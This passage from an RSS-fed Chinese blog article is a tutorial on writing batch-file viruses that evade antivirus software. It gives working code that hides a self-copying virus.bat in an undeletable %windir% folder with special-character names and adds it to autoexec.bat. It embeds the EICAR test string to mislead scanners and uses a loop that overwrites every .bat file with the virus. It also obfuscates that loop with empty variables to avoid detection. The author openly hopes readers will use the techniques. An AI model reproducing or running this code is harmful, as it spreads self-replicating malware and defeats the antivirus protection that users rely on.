13px;">&nbsp;&nbsp;&nbsp;&nbsp;Letter List&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 176: °&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 177: ±&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 178: &amp;sup2;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 179: &amp;sup3;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 180: ′&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 185: &amp;sup1;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 186: o&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 187: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 188: &amp;frac14;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 191: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 192: à&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 193: á&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 194: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 195: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 196: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 197: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 200: è&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 201: é&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 202: ê&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 203: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 204: ì&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 205: í&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 206: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 213: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 217: ù&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 218: ú&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 219: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 220: ü&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 223: ?&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ASCII 242: ò&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ok,上面就是那些特殊字符的ASCII码了,现在我们在%windir%中制作一个样本文件夹让他无法删除.在windows98的系统中，我们还可以在autoexec.bat中添加语句，让bat文件可以随机启动.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Letter List example&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cd %windir%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;md o′üòì&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cd o′üòì&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;copy %0 virus.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cd %windir% &gt;&gt;autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cd o′üòì &gt;&gt;autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo virus.bat &gt;&gt;autoexec.bat&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;我敢肯定你一定能看懂上面的代码,在这里要感谢&#039;Trojan.BAT.NoDelDir&#039;的作者.但是我却不知道他的真名叫什么,如果你在这里看到的话,请联系我本人.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;加入EICAR测试文件&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;我想每个人都应该知道EICAR病毒测试文件是什么东西,如果不知道也没关系,我将给你解释一下,他是来自EICAR的一个com文件(有兴趣的朋友可以到</span><a href="http://www.eicar.org/anti_virus_test_file.htm" target="_blank" style="font-size: 13px;"><font color="#0070af">http://www.eicar.org/anti_virus_test_file.htm</font></a><span style="font-size: 13px;">去看看),他是用来测试反病毒软件的杀毒能力的一个测试文件.那我们应该怎么利用它呢?事实上几乎每个人都知道这个文件,反病毒软件的提示并不会引起人们的注意,利用这点,我们将EICAR测试文件的代码加到我们的病毒程序中,这样的话就不会引起用户的警觉.下面是EICAR测试文件的内容:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;EICAR-content&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;email=X5O!P%@AP&#091;4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&#091;code&#093;X5O!P%@AP&#091;4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&#091;code&#091;/email&#093;&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;这项技术原理等同于欺骗代码技术.但是他包含了非常有用的内容:EICAR-content.这样的话欺骗代码中包含的同样是被反病毒程序所识别的&#039;病毒&#039;文件,反病毒软件提示的就不是&#039;BAT.Silly.d&#039;而是&#039;EICAR-Test-File&#039;,同样是起到了欺骗的作用.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;EICAR-content example&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;code&#093;X5O!P%@AP&#091;4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (*.bat) do copy %0 %%a&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;代码中的垃圾伪代码&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;题目看起来有点郁闷,什么叫&#039;垃圾伪代码&#039;呢?就是写在有效代码中间,但是运行的时候无任何作用的代码.听完上述的讲解你首先会想到什么命令来实现这一功能呢?&#039;set&#039;命令?那么你已经在理解我的意思了,ok,没定义过的变量是空的(=nothing),那么在运行的时候变量也是没有任何用处的.这样我们就解决了我们的问题了:),下面来看看被kav提示为&#039;BAT.Silly.d&#039;的傻瓜式病毒代码.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;%anyting%fo%anyting%r %%a i%anyting%n (%anyting%*.ba%anyting%t) d%anyting%o co%anyting%py %0 %%a&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;正如你所看到的,上面的代码非常容易实现.但是却相当有用.注意:你必须保证你所用的变量没有被定义过,否则病毒是不能运行的.如果你不确定变量是否为空的,那你最好在文件开头加上一句&#039;set anthing=&#039;将变量清空.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;最后&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;开开反病毒软件的玩笑,这项技术真的很有用或加密一些东西或者其他的某些应用.那么反病毒程序真的有大麻烦了.现在我的唯一希望是你们能在你们的工作中真正的用上这项技术(或者其中的一些:D),因为我花了很多时间在发现这项技术,寻找错误和更好的应用它上面.而且检查了其他的系统是否也能够应用这项技术,然后又花了很长时间写了出来,OK, in the end I want to say sorry about my english spelling or grammer mistakes :).&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=740]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:21:46 +0800]]></pubDate>
</item>
</channel>
</rss>